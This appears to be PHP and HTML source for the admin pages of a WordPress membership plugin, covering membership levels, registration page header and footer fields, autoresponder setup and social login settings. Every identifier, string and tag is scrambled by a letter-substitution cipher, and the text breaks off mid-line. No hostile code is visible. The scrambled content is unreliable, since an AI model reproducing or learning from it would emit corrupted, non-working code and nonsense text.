sFtB=QplrmUuBkBu_qFzB_urzxs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nmhuB=QplrmUAurFm:oxzymU DuBFo:oxzymUQplrmUQzmUY QumUWqyq AroBFDy (SqFzBn Fn SqFzB7C =QzmU SqFzB#xmuB): WQzmUY QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr SqFzB7CU WQzmUQplrmU QumUWqyq nBuBDmBC(SuBkBu-QzmUuBkBu_qFzB_urzxs == SqFzB7C)U WQzmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB#xmuB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUY QumU/uFEBuQzmUY QumU/qQzmUY QumU/srEoQzmUY QumU/mCQzmUY QumU/moQzmUYY QumUWqyq BsCAroBFDyU WQzmUY Y QumU/mErChQzmUY QumU/mFEuBQzmUYY QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU rsDuxDv=QplrmUoBmlos tBtEBozBsxln_DrsAxot4BkBun()UQplrmU /QzmU QumUxsqlm DuFnn=QplrmUElmmrsQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUcBuBmB $BuBDmBC 4BkBunQplrmU /QzmUQumU/qQzmUY QumU/ArotQzmUYY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y w&lBoh(AlsDmxrs() {Y w&lBoh(QplrmU.tBtEBozBsxln_BiqxoBnQplrmU).DuxDv(AlsDmxrs() {Y w&lBoh(myxn).sBim(QplrmU.tBtEBozBsxln_BiqxoBn_CBmFxuQplrmU).mrzzuB().DyxuCoBs(QplrmU.tBtEBozBsxln_BiqxoFmxrsQplrmU).zBm(P).nBuBDm()UY })UY })UY AlsDmxrs tBtEBozBsxln_DrsAxot4BkBun() {Y kFo oBnlum = molBUY w&lBoh(QTPMGU.tBtEBozBsxln_CBuBmBQTPMGU).BFDy(AlsDmxrs(x, rEw) {Y xA (rEw.DyBDvBC) {Y oBnlum = DrsAxot(QTPMGUfoB hrl $; b hrl jFsm mr CBuBmB myB nBuBDmBC uBkBunW\s\s#yxn FDmxrs DFssrm EB lsCrsB.\s\sduxDv 15 mr drsmxslB, ro dFsDBu mr nmrq.QTPMGU)UY oBmlosUY }Y })UY oBmlos oBnlumUY }Y // --QzmUY QumU/nDoxqmQzmUYY QumUEo /QzmUYY QumUyMQzmUfCC F 2Bj 3BtEBonyxq 4BkBuQumU/yMQzmUYY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUFDmxrsQplrmU kFulB=QplrmUtBtEBozBsxln_FCC_uBkBuQplrmUQzmUYY QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:IPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nmhuB=QplrmUqFCCxsz:KqiUQplrmUQzmUQFtqUsEnqUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU3BtEBonyxq 4BkBuQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:OPPqiUQplrmUQzmUQumUsrEoQzmUfDDBnn #r...QumU/srEoQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiUQplrmUQzmU BzxnmoFmxrs ; 4QumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUmErChQzmUY QumUmo DuFnn=QplrmUFumBosFmBQplrmU nmhuB=QplrmUyBxzym:KPqiUQplrmUQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[sFtB]QplrmU nxgB=QplrmUNPQplrmU quFDByruCBo=QplrmU2Bj 4BkBu 2FtBQplrmUQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[Fuu]QplrmU DyBDvBC=QplrmUDyBDvBCQplrmU /QzmU fuu 0rnmn QFtqUFtqU 0FzBnQumU/uFEBuQzmUQumU/srEoQzmUQumUEo /QzmUY QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[DrttBsmn]QplrmU DyBDvBC=QplrmUDyBDvBCQplrmU /QzmU ?oxmB drttBsmnQumU/uFEBuQzmUQumU/srEoQzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUsrEoQzmUQumUuFEBuQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4()U WQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU nxgB=QplrmUHQplrmU sFtB=QplrmUtBtEBozBsxln_sBj[yFny]QplrmU kFulB=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUyFny()U WQzmUQplrmU nxgB=QplrmUJQplrmUQzmUQumU/uFEBuQzmUQumU/srEoQzmUQumU/mCQzmUY QumU/moQzmUYQumU/mErChQzmUYQumU/mFEuBQzmUYY QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUfCC 2Bj 4BkBuQplrmU /QzmUQumU/qQzmUYY QumU/CxkQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun_oBzxnmoFmxrs() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU SuBkBu2FtB = QplrmUQplrmUU SAro4BkBu = QplrmUfuu 4BkBunQplrmUU xA (xnnBm(S_ b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = S_ b&;b$#[QplrmUuQplrmU]U xA (xnnBm(SuBkBun[SDlooBsm4BkBu])) { SuBkBu = SuBkBun[SDlooBsm4BkBu]U SuBkBu2FtB = SuBkBu-QzmUuBkBu_sFtBU SAro4BkBu = QTPMGUQumUF yoBA=QplrmUQTPMGU.StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny).QTPMGUQplrmUQzmUQTPMGU.ymtuBsmxmxBn(SuBkBu2FtB) . QplrmU 4BkBuQplrmU.QTPMGUQumU/FQzmUQTPMGUU } } SnFkB = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])) { SnFkB = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])U } xA (SnFkB V== sluu QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_yBFCBoQplrmU])) { SyBFCBo = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_yBFCBoQplrmU])U xA (VSyBFCBo || SyBFCBo == QplrmUQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUyBFCBoQplrmU, sluu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUyBFCBoQplrmU, SyBFCBo)U } } xA (SnFkB V== sluu QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_ArrmBoQplrmU])) { SArrmBo = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_oBzxnmoFmxrs_ArrmBoQplrmU])U xA (VSArrmBo || SArrmBo == QplrmUQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUArrmBoQplrmU, sluu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SnFkB, QplrmUArrmBoQplrmU, SArrmBo)U } } SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SDlooBsm4BkBu, QplrmUyBFCBoQplrmU)U SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SDlooBsm4BkBu, QplrmUArrmBoQplrmU)U WQzmUY QumUyMQzmU BzxnmoFmxrs 0FzBQumU/yMQzmUYY QumUqQzmUdlnmrtxgB myB urrv FsC ABBu rA myB oBzxnmoFmxrs qFzBn Aro BFDy uBkBu (myB nDoBBs qBrquB nBB FAmBo myB qFh, FsC FoB Axuuxsz xs myBxo FDDrlsm CBmFxun).QumU/qQzmUYY QumUqQzmU7m xn yxzyuh oBDrttBsCBC hrl quFDB F aFDBErrv oBmFozBmxsz qxiBu (Dlnmrt jBEnxmB FlCxBsDB) ro moFDvxsz DrskBonxrs qxiBu xs myB QFtqUplrmUArrmBoQFtqUplrmU nBDmxrs Aro myB FqqorqoxFmB uBkBu.QumU/qQzmUYY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUYY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_nFkBQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY QumUqQzmUY QumUEQzmUeorjnB 4BkBu:QumU/EQzmU Y QumUF QumUWqyq xA (-O == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmUyoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQFtqUu=-OQplrmUU WQzmUQumUWqyq xA (xnnBm(S_9b#[QplrmUrQplrmU])): WQzmUQFtqUr=QumUWqyq BDyr ymtuBsmxmxBn(S_9b#[QplrmUrQplrmU])U WQzmUQumUWqyq BsCxAU WQzmUQplrmUQzmUfuu 3BtEBon (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm()U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUF QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu) QFtqUQFtqU SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQumUWqyq BsCxAU WQzmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmU (QumUWqyq BDyr xsmkFu(SuBkBu-QzmUFDmxkB)U WQzmU)QumU/FQzmU QFtqUsEnqUQFtqUsEnqUY QumUWqyq BsCAroBFDyU WQzmUY QumU/qQzmUYY QumUqQzmUQumUEQzmU BzxnmoFmxrs 0FzB 8BFCBo Aro QumUWqyq BDyr SAro4BkBuU WQzmU:QumU/EQzmUQumUEo QzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_oBzxnmoFmxrs_yBFCBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUONPQplrmU orjn=QplrmUHQplrmU nmhuB=QplrmUArsm-nxgB:OPqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SyBFCBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY QumUqQzmUQumUEQzmU BzxnmoFmxrs 0FzB arrmBo Aro QumUWqyq BDyr SAro4BkBuU WQzmU:QumU/EQzmUQumUEo QzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_oBzxnmoFmxrs_ArrmBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUONPQplrmU orjn=QplrmUHQplrmU nmhuB=QplrmUArsm-nxgB:OPqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SArrmBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmUQzmUQumU/qQzmUY QumU/ArotQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_FlmroBnqrsCBo() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU xA (xnnBm(S_ b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = xsmkFu(S_ b&;b$#[QplrmUuQplrmU])U } SuBkBu7sAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SDlooBsm4BkBu)U SnFkB4BkBu = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])) { SnFkB4BkBu = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])U StBtEBozBsxln-QzmUtrCBu-QzmUnBmflmroBnqrsCBo( SnFkB4BkBu, S_01$#[QplrmUtBtEBozBsxln_DrCBQplrmU], S_01$#[QplrmUtBtEBozBsxln_BtFxuQplrmU], S_01$#[QplrmUtBtEBozBsxln_AxonmsFtBQplrmU], S_01$#[QplrmUtBtEBozBsxln_uFnmsFtBQplrmU] )U } SDrCB = QplrmUQplrmUU SBtFxu = QplrmUQplrmUU SAxonmsFtB = QplrmUQplrmUU SuFnmsFtB = QplrmUQplrmUU xA (SFlmroBnqrsCBo = StBtEBozBsxln-QzmUtrCBu-QzmUzBmflmroBnqrsCBo(SDlooBsm4BkBu)) { SDrCB = SFlmroBnqrsCBo[QplrmUDrCBQplrmU]U SBtFxu = SFlmroBnqrsCBo[QplrmUBtFxuQplrmU]U SAxonmsFtB = SFlmroBnqrsCBo[QplrmUAxonmsFtBQplrmU]U SuFnmsFtB = SFlmroBnqrsCBo[QplrmUuFnmsFtBQplrmU]U } SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SlnBoaxonm = QplrmUQplrmUU SlnBo4Fnm = QplrmUQplrmUU SlnBobtFxu = QplrmUQplrmUU xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_AxonmsFtB)) { SlnBoaxonm = SDlooBsm_lnBo-QzmUlnBo_AxonmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_uFnmsFtB)) { SlnBo4Fnm = SDlooBsm_lnBo-QzmUlnBo_uFnmsFtBU } xA (xnnBm(SDlooBsm_lnBo-QzmUlnBo_BtFxu)) { SlnBobtFxu = SDlooBsm_lnBo-QzmUlnBo_BtFxuU } WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmUflmroBnqrsCBoQplrmU)U WQzmUYY QumUyMQzmU3FsFzB flmroBnqrsCBoQumU/yMQzmUY Y QumUqQzmU;nB myxn nBDmxrs mr Flmr-nlEnDoxEB hrlo sBj tBtEBon mr hrlo tFxuxsz uxnm jyBs myBh wrxs F uBkBu.QumU/qQzmUY Y QumUqQzmU?B oBDrttBsC QumUF yoBA=QplrmUymmq://jjj.FjBEBo.DrtQplrmUQzmUfjBEBoQumU/FQzmU Aro Fs FlmroBnqrsCBo nrulmxrs.QumU/qQzmUYY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_nFkBQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUBtFxu_nmroBCQplrmU xC=QplrmUBtFxu_nmroBCQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SBtFxu)U WQzmUQplrmU /QzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUAxonmsFtB_nmroBCQplrmU xC=QplrmUAxonmsFtB_nmroBCQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAxonmsFtB)U WQzmUQplrmU /QzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUuFnmsFtB_nmroBCQplrmU xC=QplrmUuFnmsFtB_nmroBCQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuFnmsFtB)U WQzmUQplrmU /QzmUYY QumUqQzmU$BuBDm 4BkBu: QumUnBuBDm sFtB=QplrmUuQplrmU rsDyFszB=QplrmUmyxn.Arot.nlEtxm()QplrmUQzmUY QumUrqmxrs kFulB=QplrmU-OQplrmU QumUWqyq xA (SDlooBsm4BkBu === sluu || SDlooBsm4BkBu == -O): WQzmUnBuBDmBC=QplrmUnBuBDmBCQplrmUQumUWqyq BsCxAU WQzmUQzmU4BkBun...QumU/rqmxrsQzmUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUrqmxrs QumUWqyq xA (SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnBuBDmBC=QplrmUnBuBDmBCQplrmUQumUWqyq BsCxAU WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$Bmlq flmroBnqrsCBo Aro 4BkBuQplrmU /QzmUQumU/qQzmUYY QumUWqyq xA (SDlooBsm4BkBu QzmU -O): WQzmUY QumUqQzmU0FnmB xs flmroBnqrsCBo $xzslq drCB: QumUnqFs nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjU Arsm-jBxzym:EruCUQplrmUQzmU(8#34 DrCB rsuh, Cr srm BsmBo 6FkF$Doxqm DrCB)QumU/nqFsQzmUQumU/qQzmUYY QumUqQzmUQumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_DrCBQplrmU xC=QplrmUtBtEBozBsxln_DrCBQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUOPPQplrmU orjn=QplrmUOPQplrmU rsDyFszB=QplrmUFnnxzscorqCrjs()QplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SDrCB)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY QumUqQzmUY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_BtFxuQplrmU xC=QplrmUtBtEBozBsxln_BtFxuQplrmUQzmUY QumUrqmxrs kFulB=QplrmU-QplrmUQzmU--- btFxu fCCoBnn axBuC (rqmxrsFu) ---QumU/rqmxrsQzmUY QumU/nBuBDmQzmUYY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_AxonmsFtBQplrmU xC=QplrmUtBtEBozBsxln_AxonmsFtBQplrmUQzmUY QumUrqmxrs kFulB=QplrmU-QplrmUQzmU--- axonm 2FtB axBuC ---QumU/rqmxrsQzmUY QumU/nBuBDmQzmUYY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uFnmsFtBQplrmU xC=QplrmUtBtEBozBsxln_uFnmsFtBQplrmUQzmUY QumUrqmxrs kFulB=QplrmU-QplrmUQzmU--- 4Fnm 2FtB axBuC (rqmxrsFu) ---QumU/rqmxrsQzmUY QumU/nBuBDmQzmUYY QumU/qQzmUYY QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY QumUWqyq BsCxAU WQzmUYY QumU/ArotQzmUYY QumUV-- xtqromFsm: qFonB FoBF xn rlmnxCB rlo Arot --QzmUY QumUCxk xC=QplrmUtBtEBozBsxln_qFonBQplrmU nmhuB=QplrmUCxnquFh:srsBUQplrmUQzmUQumU/CxkQzmUYY QumUWqyq xA (SDlooBsm4BkBu QzmU -O): WQzmUY QumUWqyq Smyxn-QzmUtBsl_FlmroBnqrsCBo_wFkFnDoxqm()U WQzmUY QumUyN nmhuB=QplrmUArsm-nxgB:OHqiUQplrmUQzmU!BoxAh flmroBnqrsCBoQumU/yNQzmUYY QumUqQzmUcrlEuB DyBDv myFm hrlo FlmroBnqrsCBo xn DrooBDmuh nBsCxsz uBFCn mr hrlo BtFxu nBsCxsz nBokxDB.QumU/qQzmUYY QumUArot tBmyrC=QplrmU9b#QplrmU rsnlEtxm=QplrmUkBoxAharot(myxn.BtFxu.kFulB, myxn.AxonmsFtB.kFulB, myxn.uFnmsFtB.kFulB)U oBmlos AFunBUQplrmUQzmUY QumUuFEBuQzmUaxonm 2FtB: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUAxonmsFtBQplrmU nxgB=QplrmUOHQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBoaxonm)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmU4Fnm 2FtB: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUuFnmsFtBQplrmU nxgB=QplrmUOHQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBo4Fnm)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUbtFxu: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUBtFxuQplrmU nxgB=QplrmULPQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBobtFxu)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU#Bnm flmroBnqrsCBoQplrmU DuFnn=QplrmUElmmrs-nBDrsCFohQplrmU /QzmU (qrqlq rqBsn xs F sBj jxsCrj)Y QumU/ArotQzmUY QumUWqyq BsCxAU WQzmUY QumU/CxkQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_nrDxFu() { zurEFu StBtEBozBsxlnU SAFDBErrv_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU)==OU SzrrzuB_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_zrrzuB_BsFEuBCQplrmU)==OU SnrDxFu_nBuBDmxrs = sluuU xA (xnnBm(S_01$#[QplrmUnrDxFuQplrmU])) { SnrDxFu_nBuBDmxrs = S_01$#[QplrmUnrDxFuQplrmU]U } xA (VSnrDxFu_nBuBDmxrs) { SnrDxFu_nBuBDmxrs = QplrmUAFDBErrvQplrmUU } WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU$rDxFuQplrmU)U WQzmUY Y QumUyMQzmU$rDxFu 4rzxs QumUF yoBA=QplrmUTQplrmU rsDuxDv=QplrmUoBmlos tBtEBozBsxln_kxCBr(myxn, QTPMGUiw7zO$BzepzQTPMGU)UQplrmUQzmU(jFmDy kxCBr xsnmolDmxrsn)QumU/FQzmUQumU/yMQzmUYY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY QumUqQzmUfuurj qBrquB mr urzxs mr hrlo tBtEBonyxq nxmB lnxsz aFDBErrv ro 9rrzuB 0uln.QumU/qQzmUYY QumUqQzmUQumUuFEBuQzmUdyrrnB $rDxFu 2Bmjrov: Y QumUnBuBDm sFtB=QplrmUnrDxFuQplrmU rsDyFszB=QplrmUmyxn.Arot.nlEtxm()UQplrmUQzmUY QumUrqmxrs kFulB=QplrmUAFDBErrvQplrmU QumUWqyq nBuBDmBC(SnrDxFu_nBuBDmxrs==QplrmUAFDBErrvQplrmU)U WQzmUQzmUaFDBErrvQumUWqyq xA (SAFDBErrv_BsFEuBC): WQzmU (BsFEuBC)QumUWqyq BsCxAU WQzmUQumU/rqmxrsQzmUY QumUrqmxrs kFulB=QplrmUzrrzuBQplrmU QumUWqyq nBuBDmBC(SnrDxFu_nBuBDmxrs==QplrmUzrrzuBQplrmU)U WQzmUQzmU9rrzuBQumUWqyq xA (SzrrzuB_BsFEuBC): WQzmU (BsFEuBC)QumUWqyq BsCxAU WQzmUQumU/rqmxrsQzmUY QumU/nBuBDmQzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$BuBDm $rDxFu 2BmjrovQplrmU /QzmUY QumU/uFEBuQzmUY QumU/qQzmUYY QumUWqyqY xA (SnrDxFu_nBuBDmxrs == QplrmUAFDBErrvQplrmU) { Smyxn-QzmUtBsl_nrDxFu_AFDBErrv()U } BunBxA (SnrDxFu_nBuBDmxrs == QplrmUzrrzuBQplrmU) { Smyxn-QzmUtBsl_nrDxFu_zrrzuB()U } WQzmUYY QumU/ArotQzmUY QumU/CxkQzmUY QumUWqyqY Smyxn-QzmUwFkFnDoxqm()U } AlsDmxrs tBsl_nrDxFu_AFDBErrv() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_nBDoBmQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_nBDoBmQplrmU]))U } } SAFDBErrv_BsFEuBC = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_BsFEuBCQplrmU)==OU SAFDBErrv_Fqq = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_FqqQplrmU)U SAFDBErrv_nBDoBm = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnrDxFu_AFDBErrv_nBDoBmQplrmU)U SqFonB = qFonB_lou(yrtB_lou())U SAFDBErrv_lou = SqFonB[QplrmUyrnmQplrmU]U WQzmUY QumUqQzmUY QumUuFEBuQzmUY QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQplrmU QumUWqyq DyBDvBC(SAFDBErrv_BsFEuBC)U WQzmU /QzmU bsFEuB aFDBErrv 4rzxsWQumU/uFEBuQzmUY QumUWqyq xA (SAFDBErrv_BsFEuBC): WQzmUQumUF yoBA=QplrmUQumUWqyq BDyr yrtB_lou(QplrmUjq-urzxs.qyqWtBtEBozBsxln_urzxs=AFDBErrvQplrmU)U WQzmUQplrmUQzmU(mBnm aFDBErrv urzxs)QumU/FQzmUQumUWqyq BsCxAU WQzmUY QumUEo /QzmUY QumUuFEBuQzmUQumUnmorszQzmUfqq 7c:QumU/nmorszQzmU QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_AFDBErrv_FqqQplrmU nxgB=QplrmUMKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAFDBErrv_Fqq)U WQzmUQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_AFDBErrv_BsFEuBCQTPMGU).Fmmo(QTPMGUDyBDvBCQTPMGU, 